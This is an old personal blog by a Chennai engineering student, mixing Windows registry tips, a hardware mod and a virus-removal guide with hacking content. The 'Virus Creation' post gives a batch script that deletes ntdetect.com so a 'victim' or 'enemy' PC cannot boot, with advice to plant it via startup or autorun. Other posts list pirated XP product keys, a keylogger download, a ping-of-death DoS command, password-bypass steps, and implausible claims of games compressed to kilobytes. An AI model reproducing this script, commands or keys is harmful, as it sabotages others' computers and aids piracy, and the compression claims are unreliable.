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About Me
- The Civil Engineer
- Chennai, TamilNadu, India
- “The road to success is always under construction.....” This is Hari. I am final year engineering student. I live in Chennai. Hope you find some useful things for a Civil Engineer in here.
Saturday, October 6, 2007
Fifa 07 compressed in 2MB by my friend ANAS
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Monday, October 1, 2007
Tuesday, September 25, 2007
Thursday, September 20, 2007
Saturday, September 15, 2007
Softwares on Demand
Rapidshare Unlimited 2
The program can unlimited downloads with rapidshare.
http://rapidshare.com/files/43453586/Rapidshare_Unlimited.2.0_Working_100_.rar
Perfect Keylogger
http://rapidshare.com/files/28525357/Perfect_Keylogger_v1.6.6.0_By_Askan.rar
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GTA San Andreas Compressed in 64KB by my friend ANAS SHAIKH


NOTE:
You need KGB compressor to decompress it. It is the best ever compressor.
Download KGB Compressor
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Thursday, September 13, 2007
How to convert a CD drive to a DVD drive
There are two types of CD-ROM drives we can mod:
24x to 40x
40x or higher
Drives slower than 24x are too old to be modified.
24x to 40x CD ROMs
Code:
Laser Head Adjustments:
The track pitch of CDs is 1.6 microns, and the track pitch of DVDs is only 0.8 microns. The minimum length of track pits of CDs is 0.843mm, and the minimum length of track pits of DVDs is 0.293mm. That's why DVD discs can store much more data in the size of a CD.
Pinpointing this situation, we need to adjust the laser head so it can read discs with smaller track pitches and shorter track pits. Open up the CD-ROM drive, do you see a lens on the rail? That's the laser head. On the side of the laser head, there's a screw you can adjust.
Code:
This is the key of this mod.
This screw can adjust the size of the laser beam that lands on the disc. Referring to the above, after adjusting, the laser beam should be less than 0.293mm, to suit the needs of DVD discs. So turn that screw 2-3 times. I got this number through trial and error. Mark with a pencil, in case you forget how many times you turned that screw.
Speed adjustments:
DVD-ROM drives can play DVD movies smoothly at 4x speed. If we're modifying a 32x CD-ROM drive, the rotation speed is obviously too high, increasing heat, and shortening the life of the drive.
So we need to decrease the speed of it.
Most people know that power supplies can provide 5V (red wire) and 12V (yellow wire) electricity output for Molex connectors. Find the Molex connector you'll plug into the modifying CD-ROM drive, cut the yellow wire or insulate it with tape, so only 5V of electricity is transferred to the CD-ROM drive. The speed of the drive is now 32 * 5/17 = 9.41x and can now fulfill our requirements.
Code:
40x or higher CD ROMs
When 40x CD-ROM drives are released, most manufacturers are already producing DVD-ROM drives. To lower cost, they use the same core as DVD-ROM drives with DVD functions disabled. What we need to do here is to re-enable the DVD function.
Open up the CD-ROM, behind the circuit board, look for a jumper that says DVD JUMP. Find a jumper to connect this jumper. Thin metal wire also works fine.
OK, so the DVD function is unlocked, but we still need to decrease the speed. Use the instructions above on how to decrease the speed of the drive.
NOTE:
I(Hari) have tried this personally in my old CD drive....and it worked....You have to be careful with LASER HEAD adjustments and mark the positions carefully...... Im not responsible for any loss caused for you by this method.
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Fooling RAPIDSHARE is a Salpi Matter to me
Its very easy to fool RapidShare server if your IP address is assigned by your ISP Just follow these simple steps clean up IE or netscape cookie ( In this case the one that belong to rapidshare website).If you are using Mozilla Firefox you can block cookies from Rapidshare by going to Tools>Options>Privacy> there you have a option to block cookies from the site u want.So block cookies from Rapidshare and follow these steps after you crossed the download limits
On Command prompt type:
ipconfig /flushdns<---Enter
type ----->ipconfig /release<---Enter
type ----->ipconfig /renew<---Enter
type ----->exit<--------Enter
Or type thses commands in a notepad and save it as a .bat file and run it everytime you need to fool Rapidshare server. Remember to clean up rapidshare cookie in your temp Internet files folder. Now you should be ready to download as many files as you want from their server.
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Tuesday, September 11, 2007
Virus Creation
Open notepad type the code as following -
echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
print U r a LOSER RD is a Winner
Save this file as virus.bat or any other name with bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and setit in the autorun.
BANG !
with this activated once the computer will run perfectly !
once shutdowned then it will not start and U will have to format it (Except U know how to use DOS).
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Make your WinXP genuine
Download jellybean keyfinder from this website
http://magicaljellybean.com/keyfinder.s
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
V2C47-MK7JD-3R89F-D2KXW-VPK3J
this works on windows xp sp2 only!
restart ur pc n delete that keyfinder.exe from ur system. n now u can update n install wmp 11 n IE 7. Windows XP Serial (Original) working 100% and tested !!
F3GR4-2T392-2687J-88WQD-V6D8Q
PVC99-M37Y8-JWFFG-72DBC-KG6XM
VW6GB-M9JX9-VCWT4-4WRYD-CX8HQ
QBQHP-7D87H-MD42Q-VB34J-WYCMJ
GRKDK-J27WG-BMHBX-V4WPY-BDP8W
K7YRC-2D42C-KXHF9-2H2FT-HYQ83
DQBGH-C6K8J-VP7HT-PMM43-4QQJM
BWFXC-R868M-MVVCP-HDJPK-V368M
GQT6Y-CH73M-CV7CF-FD884-9DV86
KTFQK-XGX72-K2VMT-8P6G7-Y2PJQ
V2MPB-KF8Q8-X79D8-PHK33-MFFMJ
HV733-VD2VC-JYD4K-4PBVX-QWM3Y
JY94F-R49CF-2W9G2-FFWPX-93D3Y
DG6T9-QBJDP-H932M-7QR26-FW3V8
CWY4R-P3XHV-TQ62H-YKKF6-CD2PB
TD34C-2W9QG-XT8GB-2B64B-6BXBQ
TVW7J-6XTTB-BH24Y-WYGWX-V9CT8
QXPFC-4W3JR-49HK3-KDDY4-4WPGJ
GBRVT-T7K2Q-9XWG2-MDWVJ-PFY93
KQRYR-H89C9-8C27D-YDK98-3BPJG
J44DV-4X6KR-8Q6G2-VQCQW-96Q78
Q37XR-BQXT4-P29TG-MJRR7-BPR3J
HR9CY-FH74T-K9V6Q-H4HB8-DQF6T
XRH6F-JJC8J-KCQYM-JCF6K-FR9VJ
XTRCG-HKVYP-M4CKK-PMCDM-9BBGD
RJTFP-PHC8H-4FFHQ-KJX4D-463HQ
D6JY7-7HG39-CD6W8-6MPJK-VXKGW
P7G3X-YT74H-THYRP-BBQ4V-FFD6Y
JYYY3-YJJQW-F9JV4-232Q4-GYVPW
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The best compression is here
This is the best alternative for kgb.pls follow the procedure:
1.similar 2 kgb it wants .net 2.
2.download winuha 2.0 rc from the link http://www.softpedia.com/get/Compressio
3.down load universal extractor 1.4 (it enhances your kgb) from the link
http://www.filehippo.com/download_unive
4.install the 2 components.dont uninstall kgb becauseuniv extr enhances it.
5.use winuha for better compression and decompression.
5.important in this it decompresses very very very faster then kgb.
6.if you want 2 test it . download nfs 2 se from this link
http://rapidshare.com/files/36726095/Ne
it is 123 kb file it expands to 109 mb in 20 seconds.
similar kgb compressed file takes nearly 1.20 hours.
so guys who have games cds or downloaded file compress it with winuha 2 the format .uha and upload it to this thread.
Guys ,save electricity & time by this method.
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Ethical Hacking Tools
Net Tools is cutting-edge security and network monitoring software for the Internet and Local Area Networks, providing clients with the ability and confidence to meet the challenges of tomorrow's technology. Keeping pace with the industry trends, we offer professional tools that support the latest standards, protocols, software, and hardware for both wired and wireless networks. The main goal is the creation of high quality software. Net Tools is a very strong combination of network scanning, security, file, system, and administrator tools useful in diagnosing networks and monitoring your PC and computer's network connections for system administrators. Next to the essential core tools it includes a lot of extra valuable features. It’s a Swiss Army knife for everyone interested in a set of powerful network tools for everyday use. This all-in-one toolkit includes also a lot of handy file and system utilities next to the huge amount of network tools. The menus are fully configurable, so in this way you won’t get lost in the extremely large amount of essential tools. All the additional features will make this application a must have for all system administrators. There are numerous constructive and valuable applications included in Net Tools that can be used for a great amount of purposes. The latest version of Net Tools is hybrid; it means that it’s capable of working together with applications that are made and designed for Net Tools, so in this way more flexibility and user-friendliness is obtained. This software is designed for the Microsoft Windows OS (Windows 98, NT, 2000, 2003, XP, Vista). It’s entirely compatible and has thoroughly been tested on Windows XP. With the 150+ tools it is a great collection of useful tools for network users. The size of Net Tools 4.5.74 is approximately 25 Mb.
Net Tools 4.5 (build 74) contains a whole variety of network tools. Here is a list of the most important tools:
1) IP Address Scanner
2) IP Calculator
3) IP Converter
4) Port Listener
5) Port Scanner
6) Ping
7) NetStat (2 ways)
8) Trace Route (2 ways)
9) TCP/IP Configuration
10) Online - Offline Checker
11) Resolve Host & IP
12) Time Sync
13) Whois & MX Lookup
14) Connect0r
15) Connection Analysator and protector
16) Net Sender
17) E-mail seeker
18) Net Pager
19) Active and Passive port scanner
20) Spoofer
21) Hack Trapper
22) HTTP flooder (DoS)
23) Mass Website Visiter
24) Advanced Port Scanner
25) Trojan Hunter (Multi IP)
26) Port Connecter Tool
27) Advanced Spoofer
28) Advanced Anonymous E-mailer
29) Simple Anonymous E-mailer
30) Anonymous E-mailer with Attachment Support
31) Mass E-mailer
32) E-mail Bomber
33) E-mail Spoofer
34) Simple Port Scanner (fast)
35) Advanced Netstat Monitoring
36) X Pinger
37) Web Page Scanner
38) Fast Port Scanner
39) Deep Port Scanner
40) Fastest Host Scanner (UDP)
41) Get Header
42) Open Port Scanner
43) Multi Port Scanner
44) HTTP scanner (Open port 80 subnet scanner)
45) Multi Ping for Cisco Routers
46) TCP Packet Sniffer
47) UDP flooder
48) Resolve and Ping
49) Multi IP ping
50) File Dependency Sniffer
51) EXE-joiner (bind 2 files)
52) Encrypter
53) Advanced Encryption
54) File Difference Engine
55) File Comparasion
56) Mass File Renamer
57) Add Bytes to EXE
58) Variable Encryption
59) Simple File Encryption
60) ASCII to Binary (and Binary to ASCII)
61) Enigma
62) Password Unmasker
63) Credit Card Number Validate and Generate
64) Create Local HTTP Server
65) eXtreme UDP Flooder
66) Web Server Scanner
67) Force Reboot
68) Webpage Info Seeker
69) Bouncer
70) Advanced Packet Sniffer
71) IRC server creater
72) Connection Tester
73) Fake Mail Sender
74) Bandwidth Monitor
75) Remote Desktop Protocol Scanner
76) MX Query
77) Messenger Packet Sniffer
78) API Spy
79) DHCP Restart
80) File Merger
81) E-mail Extractor (crawler / harvester bot)
82) Open FTP Scanner
83) Advanced System Locker
84) Advanced System Information
85) CPU Monitor
86) Windows Startup Manager
87) Process Checker
88) IP String Collecter
89) Mass Auto-Emailer (Database mailer; Spammer)
90) Central Server (Base Server; Echo Server; Time Server; Telnet Server; HTTP Server; FTP Server)
91) Fishing Port Scanner (with named ports)
92) Mouse Record / Play Automation (Macro Tool)
93) Internet / LAN Messenger Chat (Server + Client)
94) Timer Shutdown/Restart/Log Off/Hibernate/Suspend/ Control
95) Hash MD5 Checker
96) Port Connect - Listen tool
97) Internet MAC Address Scanner (Multiple IP)
98) Connection Manager / Monitor
99) Direct Peer Connecter (Send/Receive files + chat)
100) Force Application Termination (against Viruses and Spyware)
101) Easy and Fast Screenshot Maker (also Web Hex Color Picker)
102) COM Detect and Test
103) Create Virtual Drives
104) URL Encoder
105) WEP/WPA Key Generator
106) Sniffer.NET
107) File Shredder
108) Local Access Enumerater
109) Steganographer (Art of hiding secret data in pictures)
110) Subnet Calculater
111) Domain to IP (DNS)
112) Get SNMP Variables
113) Internet Explorer Password Revealer
114) Advanced Multi Port Scanner
115) Port Identification List (+port scanner)
116) Get Quick Net Info
117) Get Remote MAC Address
118) Share Add
119) Net Wanderer
120) WhoIs Console
121) Cookies Analyser
122) Hide Secret Data In Files
123) Packet Generator
124) Secure File Splitting
125) My File Protection (Password Protect Files, File Injections)
126) Dynamic Switch Port Mapper
127) Internet Logger (Log URL)
128) Get Whois Servers
129) File Split&Merge
130) Hide Drive
131) Extract E-mails from Documents
132) Net Tools Mini (Client/Server, Scan, ICMP, Net Statistics, Interactive, Raw Packets, DNS, Whois, ARP, Computer's IP, Wake On LAN)
133) Hook Spy
134) Software Uninstaller
135) Tweak & Clean XP
136) Steganographic Random Byte Encryption
137) NetTools Notepad (encrypt your sensitive data)
138) File Encrypter/Decrypter
139) Quick Proxy Server
140) Connection Redirector (HTTP, IRC, ... All protocols supported)
141) Local E-mail Extractor
142) Recursive E-mail Extractor
143) Outlook Express E-mail Extractor
144) Telnet Client
145) Fast Ip Catcher
146) Monitor Host IP
147) FreeMAC (MAC Address Editor)
148) QuickFTP Server (+user accounts support)
149) NetTools Macro Recorder/Player (Keybord and Mouse Hook)
150) Network Protocol Analyzer
151) Steganographic Tools (Picture, Sounds, ZIP Compression and Misc Methods)
152) WebMirror (Website Ripper)
153) Extra Tools (nmap console & win32 version)
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The easiest way to Hack Windows Logon password
To hack the Bios password
To hack the BIOS password all you have to do is....... you have the system case right..... remove the system case cover. There you will find a small Li-ion battery.....Remove the battery carefully by pressing the clip on the side of the battery and place it again......Thats it...... Your BIOS password will be reset.Now you can change the BIOS password
Reboot and wait for the message.....'
Starting Windows 9x....'
When you see this on the screen,press F8. The boot menu will come up. Select option 7,to boot into Dos.Then go to Windows directory by typing:
C:\>cd windows
Then ,rename all files with extension .pwl by typing the following command:
C:\windows>ren *.pwl *.xyz
or delete them by typing
C:\windows>del *.pwl *.xyz
Now when the windows password login pops up,u can write anything in place where password has got to be typed .As you hav renamed the files or deleted them...so computer cnt find .pwl file and takes ur entered password as login.
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Dos Attacks!!! --- The Ping of Death
This vulnerability is quite well known and was earlier commonly used to hang remote systems (or even force them to
have upgraded their systems making them safe from such attacks.
In this attack, the target system is pinged with a data packet that exceeds the maximum bytes allowed by TCP/IP,
which is 65 536. This would have almost always caused the remote system to hang, reboot or crash. This DOS attack
could be carried out even through the command line, in the following manner:
The following Ping command creates a giant datagram of the size 65540 for Ping. It might hang the victim's
computer:
C:\windows>ping -l 65540
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Methods Of Using Google As A Proxy To Bypass Block
Many jobs and schools/countries block access to certain sites. However, it is very difficult for anybody to block access to
google. By using google with either of these two methods, you can gain access to blocked sites very easily.
Blocked web site, huh? Need a proxy?
I am not a big fan of chasing free, open proxies all over the place. I use google instead. Here I describe what I believe is an
uncommon way for bypassing blocked sites using google.
1:
The first and most common way of using google to bypass blocked sites is just to search for the site and then clicked the
"cached" link that appears on google. Easy, simple, and frequently works for static information.
2:
Passing the site through google translator works well as well. Here's the URL to use: Code:
http://www.google.com/translate?langpai
(where blockedsite.com is the site that you wish to visit)
This translates the site from english to english and works because the ip address will appear as google instead of you. Here's
a link to tech-recipes passed through the translator as an example. You can actually do this with any langpair. Change en|en
in the URL above to spanish by using es|es and it still works.
3:Unique method that I have not seen described before is to search through google mobile. Google mobile will "convert as you
go" very similiar to the translation method above.
Just search for your site with google mobile and click on the link it provides. Here's is tech-recipes brought up through google
mobile search. Once again, this will allow you to bypass any blocks because the IP request comes from google not for you.
Like the translation method above, google will continue to "proxy" as you continue to visit links through the site. The only side effect of this method is that google formats the site for a mobile device.
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Monday, September 10, 2007
Windows XP tips & tricks
Boot WinXP Fast
Follow the following steps
1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\
2. From the Start menu, select "Run..." & type "gpedit.msc".
>3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9.Select the "Advanced Settings" tab then on the device or 1 that doesn't
have 'device type' greyed out select 'none' instead of 'autodetect'
& click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer
Hacking Windows Vista
Customizing the Look of the Starup
Windows Vista has a great new look,but after a while,the new look can get old.With the help of some tricks you can customize many components of Windows Vista
Customizing the Boot Screen
Over the several Years that windows vista was in the planning stages and in development,many promises were made about new features and enhancements.One of those promises had to do with high resolution boot screens.This was going to be a great feature replacing the ancient 256-color boot screen that has been with windows since win 95.Over time, as development of vista was slipping behind schedule and developers were plagued with hardware comaptibility problems with the high-resolution boot screen code,the feature was pulled from the final product.
Although this feature never made it in to released version of Windows Vista,there appears to be some parts of it left in the system.This section shows you a cool trick that will enable a hidden boot screen that looks like it was part of the high-resolution feature
Some users have problems with using the hidden boot screen possibly the reason why Microsoft hid it in the first place.If you are one of those users,simply boot in to safe mode and undo the steps for enabling the boot screen.Unfortunatly,it is not currently known exactly what hardware has problem withe the hidden boot screen.When you are read it,follow these steps to eanble this boot screen on your PC:
1. Click the start button,type msconfig in the search box,and then press Enter
2. When the system Configuration Utility loads,Click the Boot tab.
3. Locate the No GUI boot box and select it .
4. Click OK and reboot your computer
You shoulsd see the hidden boot screen after you reboot your PC.if you have problems with the hidden boot screen,just boot into Safe mode(hold down F8 when you boot up) and remove the check from the No GUI Boot box
Customizing the Logon Screen
which many domain users are familiar(beacause it was included in the last several releases of Windows).
In Windows Vista,Microsoft has done a lot of work on security the logon system by digitally signing the logon components.This makes it next to impossible for anyone to modify the Logon screen files,so it greatly increase the security of Vista.Unfortunatly,it also makes it next to impossible for people like us who want to customize the logon screen;you can no longer just hack a system file and replace some resources in it.now, if you hack a system file with a resource hacker and customize the images in it,the digital signature will be broken and the file will no longer be used by Vista
The days of customizing the logon screen are over for now until someone writes an apllication that extends the Logon screen or someone releases as a patch that disables the requirments for the Logon screen system files to be digitally signed.
So in this end of customizing the Logon screen?Not at all!You can still do a lot of useful tweaks to the Logon screen that will give the Logon screen a personal touch,such a changing user pictures,hiding users,customizing the Logon screen Screensaver,and more.
Changing User pictures
Each user who is setup on your computer can associate an image that appears next to his or her name on the Logon screen.you have the option to select a picture for your account when you install windows.However,the screen that allows you to pick an image offers only a small selection of the pictures available to you.In addition,if you do not like the images that Windows has to offer,you can select any image file
The process of changing a users’s image is simple.Just perform the following steps and you will have it changed in no time
1. Click the Start button,and then Click your user picture
2. Select Change your picture from the middle of the list.
3. You will now be shown all the Windows user images that you can choose from.If you find one you like,click it,and then click the Change Picture button.
4. If you prefer a different photo,click Browse for more pictures to select and use any image file on your PC.
5. After you have selected your new image,your setting change is instantly applied.You can now close user Accounts and Control panel.
Now you have Changed your user image on the Logon screen;you have also updated the image used on the Start menu
Hiding users on the Logon screen
One of the side effects of the new Logon screen is the list of all user accounts on the computer.What if you created an account that you want only to run a service under?You do not want other users of your computer to even have the option to log on to that account because you designated it only to run a service.With the help of a simple Registry hack,it is possilble to hide any account on the Logon screen so that it is no longer possible to log on to it.
Hidden away in the local system settings is the feature that Microsoft used in the past to hide system accounts from the Logon screen.In Windows Vista,the actual Logon screen hides system account,so the old method code was removed from the Registry .However,the functionality still exists.In the next few steps,I show you how to re-create the missing Registry code so that you can use this feature once again to hide your accounts
1. 1. Click the start button,type regedit in the Search box,and then press Enter
2. 2. When Registry Editor loads,navigate through HKEY_LOCAL\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3. 3.You must now create a new key,Right-click the Winlogon folder,select New,and then select Key.Name this new key SpecialAccounts
4. 4.Right-Click the new SpecialAccounts folder,select New,and then select Key,Call this new key UserList
5. 5.Now you are ready to add the name of the account that you want to hide,To add a name ,right-Click and select a new DWORD value
6. 6.When the new DWORD is created,enter the name of the user’s account as the name of the DWORD.After you have done this,you can close the Registry Editor.
After you log off and back on or reboot,the user will not be displayed on the Logon screen.keep in mind that no one will now be able to log on to this account interactively.If you want to hide all accounts and just have a username and password,the next section is for you.If you opt for that method,you can hide all accounts and still log on to them.You just need to remember the username and the password beacause no accounts will be listed any more.
If you ever change your mind and want the account to display on the Logon screen again,Just delete the entry that you made in the list in the system registry,and everything will be back to the way it once was.
Clearing the last user logon
Using the policy is easy,if you choose to enable it,if so,just follow these steps:
1. 1. Click the Start button,type secpol.msc ,and press Enter.
2. 2. When the Local Security Policy editor loads,navigate through Local Policies and then Security Option
3. 3. Locate the Intractive Logon:Do not Display last user name policy.Right-Click it and select Properties.
4. 4. On the Local Security Settings tab,select Enabl,and then click OK.
5. 5. Close the Local Security Policy editor and you are finished
As soon as you log off or reboot ,the new Logon screen settings will be present
Changing the Logon screen screensaver
If you turn on your computer and let it sit at the Logon screen long enough, eventually the
screensaver will appear. This setting can be tweaked so that you can set the screensaver that you want to see instead of the boring Windows default. Unlike changing your screensaver for youraccount when you are logged on, it is possible to change the Logon screen screensaver settingonly by using the Registry.With the help of a few quick Registry hacks, you can finetune the screensaver that is displayed and other settings such as the screensaver Timeout value that determines how long before the screensaver is activated.
Follow these simple steps to customize your Logon screensaver:
1. Start the Registry Editor. Click the Start button, type regedit in the box, and press
Enter.
2. When the Registry Editor starts up, navigate through HKEY_USERS\.DEFAULT\
Control Panel\Desktop.
3. Let’s change the amount of time the system waits after the last activity was detected
before starting the screensaver. To do this, right-click the ScreenSaveTimeOut entry
and select Modify. The amount of time to wait is stored in seconds. By default, the
system waits 600 seconds (10 minutes) before starting the screensaver. If you want to
change this value to something shorter, such as 1 minute, just enter a new value, which
for 1 minute would be 60. Then click OK to save your changes.
4. By default, the boring flat Windows Vista logo screensaver displays.Try something a
little more exciting such as the Mystify screensaver.To do this, right-click and select
Modify on the SCRNSAVE.EXE string value. Set the value to the full path of the
screensaver you want to use. For example, I use C:\windows\system32\Mystify.scr for
the Mystify screensaver. Refer the below list for Windows screensavers and the
paths you can use.When you have finished making your change, click OK to save.
5. Close the Registry Editor. You are now finished. After a reboot, you will see your new
screensaver.
Screensaver Name Full path
Aurora C:\Windows\System32\Aurora.scr
Bubbles C:\Windows\System32\Bubbles.scr
Logon (Windows default) C:\Windows\System32\logon.scr
Mystify C:\Windows\System32\Mystify.scr
Photos C:\Windows\System32\PhotoScreensaver.scr
Ribbons C:\Windows\System32\Ribbons.scr
Blank Screen C:\Windows\System32\scrnsave.scr
Vista C:\Windows\System32\ssBranded.scr
3D Text C:\Windows\System32\ssText3d.scr
Displaying a security message
Would you like to display a message to your users before they can log on? Are any instructions
necessary for users of your computers, such as “Do not shut down this computer!” or possibly a
security warning informing unauthorized users that they are breaking the law if they try to log
on to your laptop? All these are possible with the help of Group Policy.With just a few clicks,
you can easily display a message to your visitors
Using the Local Security Policy editor, you can turn this feature on. Follow these steps to activate
it on your PC:
1. Click the Start button, type secpol.msc, and press Enter.
2. When the Local Security Policy editor loads, navigate through Local Policies and then
Security Options.
3. Locate the Interactive logon: Message title for users attempting to log on policy. Rightclick
it and select Properties.
4. On the Local Security Settings tab, type a title that you would like to use for your message
and click OK.
5. Locate the Interactive logon: Message text for users attempting to log on policy. Rightclick
it and select Properties.
6. On the Local Security Settings tab, type your message and click OK.
7. Close the Local Security Policy editor; you are finished.
As soon as you log off or reboot, the security message settings will be activated.
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Thursday, August 2, 2007
Registry Hack Part 2
Add Open With to all files
You can add "Open With..." to the Right click context menu of all files.This is great for when you have several programs you want to open the same file types with. I use three different text editors so I added it to the ".txt" key.
1. Open RegEdit
2. Go to HKEY_CLASSES_ROOT\*\Shell
3. Add a new Key named "OpenWith" by right clicking the "Shell" Key and selecting new
4. Set the (Default) to "Op&en With..."
5. Add a new Key named "Command" by right clicking the "OpenWith" Key and selecting new
6. Set the (Default) to "C:\Windows\rundll32.exe shell32.dll,OpenAs_RunDLL %1", C:\ being your Windows drive. You must enter the "OpenAs_RunDLL %1" exactly this way.
Customize the System Tray
You can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. But you can corrupt some trial licenses of software that you may have downloaded.
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\Control Panel\International
3. Add two new String values, "s1159" and "s2359"
4. Right click the new value name and modify. Enter anything you like up to 8 characters.
If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM.
Lock Out Unwanted Users
Want to keep people from accessing Windows, even as the default user? If you do not have a domain do not attempt this.
1. Open RegEdit
2. Go to HKEY_LOCAL_MACHINE\Network\Logon
3. Create a dword value "MustBeValidated"
4. Set the value to 1
This forced logon can be bypassed in Safe Mode on Windows 9x
Disable the Outlook Express Splash Screen
You can make OutLook Express load quicker by disabling the splash screen:
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\Software\Microsoft\OutLook Express
3. Add a string value "NoSplash"
4. Set the value data to 1 as a Dword value
Multiple Columns For the Start Menu
To make Windows use multiple Start Menu Columns instead of a single scrolling column, like Windows 9x had, Also if you are using Classic Mode in XP
1. Open RegEdit
2. Go to the key
HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced
3. Create a string value "StartMenuScrollPrograms"
4. Right click the new string value and select modify
5. Set the value to "FALSE"
Change the Registered Change the User Information
You can change the Registered Owner or Registered Organization to anything you want even after Windows is installed.
1) Open RegEdit
2) Got to
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion.
3) Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want
Changing Windows' Icons
You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.
1. Open RegEdit
2. Go to
HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons
3. Add a string value for each Icon you wish to change.
Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.
0= Unknown file type
1= MSN file types
2= Applications Generic
3= Closed Folder
4= Open Folder
5= 5.25" Drive
6= 3.25" Drive
7= Removable Drive
8= Hard Drive
9= NetWork Drive
10= Network Drive Offline
11= CD-ROM Drive
12= RAM Drive
13= Entire Network 14= Network Hub
15= My Computer
16= Printer
17= Network Neighborhood
18= Network Workgroup
19= Start Menu's Program Folders
20= Start Menu's Documents
21= Start Menu's Setting
22= Start Menu's Find
23= Start Menu's Help
24= Start Menu's Run
25= Start Menu's Suspend
26= Start Menu's PC Undock
27= Start Menu's Shutdown 28= Shared
29= Shortcut Arrow
30= (Unknown Overlay)
31= Recycle Bin Empty
32= Recycle Bin Full
33= Dial-up Network
34= DeskTop
35= Control Panel
36= Start Menu's Programs
37= Printer Folder
38= Fonts Folder
39= Taskbar Icon
40= Audio CD
You need to reboot after making changes. You may need to delete the hidden file ShellIconCache if after rebooting the desired Icons are not displayed.
Change Default Folder Locations
You can change or delete the Windows mandatory locations of folder like My Documents:
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Folders
3. Change the desired folder location, My Documents is normally list as "Personal"
4. Open the Explorer and rename or create the folder you wish.
To change the desired location of the Program Files folder
1. Go to
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
2. Change the value of "ProgramFiles", or "ProgramFilesDir"
Now when you install a new program it will default to the new location you have selected
Opening a DOS Window to either the Drive or Directory in Explorer
Add the following Registry Keys for a Directory:
HKEY_CLASSES_ROOT\Directory\shell\opennew
@="Dos Prompt in that Directory"
HKEY_CLASSES_ROOT\Directory\shell\opennew\command
@="command.com /k cd %1"
Add or Edit the following Registry Keys for a Drive:
HKEY_CLASSES_ROOT\Drive\shell\opennew
@="Dos Prompt in that Drive"
HKEY_CLASSES_ROOT\Drive\shell\opennew\command
@="command.com /k cd %1"
These will allow you to right click on either the drive or the directory and the option of starting the dos prompt will pop up.
Changing Exchange/Outlook Mailbox Location
To change the location of your mailbox for Exchange:
1. Open RegEdit
2. Go to
HKEY_CURRENT_USER\Software\ Microsoft\Windows Messaging Subsystem\ Profiles
3. Go to the profile you want to change
4. Go to the value name that has the file location for your mailbox (*.PST) file
5. Make the change to file location or name
To change the location of your mailbox for Outlook
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\Software\Microsoft\Outlook (or Outlook Express if Outlook Express)
3. Go to the section "Store Root"
4. Make the change to file location
Add/Remove Sound Events from Control Panel
You can Add and delete sounds events in the Control Panel. In order to do that:
1. Open RegEdit
2. Go to HKEY_CURRENT_USER\AppEvents\Schemes\Apps and HKEY_CURRENT_USER\AppEvents\Schemes\Eventlabels. If this key does not exist you can create it and add events.
3. You can add/delete any items you want to or delete the ones you no longer want.
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Monday, July 30, 2007
Remove windows script host c:\ms32dll.dll.vbs
Hacked By Godzilla - The Cure
Hacked by Godzilla, and it’s variants have been circulating around southeast Asia, mostly by infected thumbdrives for a few months now. It’s actually an amateurish script written by a twat, but that’s not what’s important here, what’s important is getting the fix.
Before you do anything else, make a backup of the windows registry! To do this, Go to Start/Run.Type in regedit. Click OK. This will open the registry editor. With the Registry Editor Open click once on My Computer to highlight it.
Then click File, then select Export. Save the export as Registry Backup. If you do not make a backup and make a mistake in changing the registry which must be done to get rid of the virus, you may have to reformat and reinstall Windows to get back to normal operation. Since you cannot create a system restore point, making this backup of the registry is critical.
The Fix
Double click the My Computer icon on the desktop. Then select Tools/Folder/Options
Click the View Tab and in the list of options:
-Click the radio button for Show Hidden files and folders
-Uncheck the boxes for
-Hide Extensions for known file types
and
Hide Protected Operating System Files
(After removing the virus, you should reverse these actions - instructions for doing this are at the end of the Fix)
Click OK at the bottom of the Folder Options Window. Do not close Windows Explorer yet!
Press Control-Alt-Del to bring up the Task Manager
Click the Processes Tab
Under the column Image Name locate the item wscript.exe. Click on it to highlight it, then right click and select End Process.
Go back to Windows Explorer - do not double click anything. Locate the files autorun.inf and MS32DLL.dll.vbs They should be located at c:\autorun.inf and c:\MS32DLL.dll.vbs (or on the drive that contains the operating system, if not C drive). Left click ONCE on each to highlight it. Then Press Shift+Del. Do this for the root of each drive,
e.g.,
(c:\ is the root…folders appearing after the root are not!)
d:\autorun.inf and d:\MS32DLL.dll.vbs
e:\autorun.inf and e:\MS32DLL.dll.vbs
f:\autorun.inf and f:\MS32DLL.dll.vbs, etc.
(note that if you have a CD/DVD burner program, like Roxio and possibly Nero, autoruns.inf is a legitimate file.
Delete those files from any USB drive, floppy disk, DVD drive and/or Writeable CDs (CD-RW) that you have.
Open the folder c:\Windows and delete the file MS32DLL.dll.vbs by using Shift+Del. You MUST hit shift+delete to completely delete it!
IF YOU DIDN’T BACK UP THE REGISTRY YET, DO IT NOW!!
Go to Start/Run.Type in regedit. Click OK. This will open the registry editor
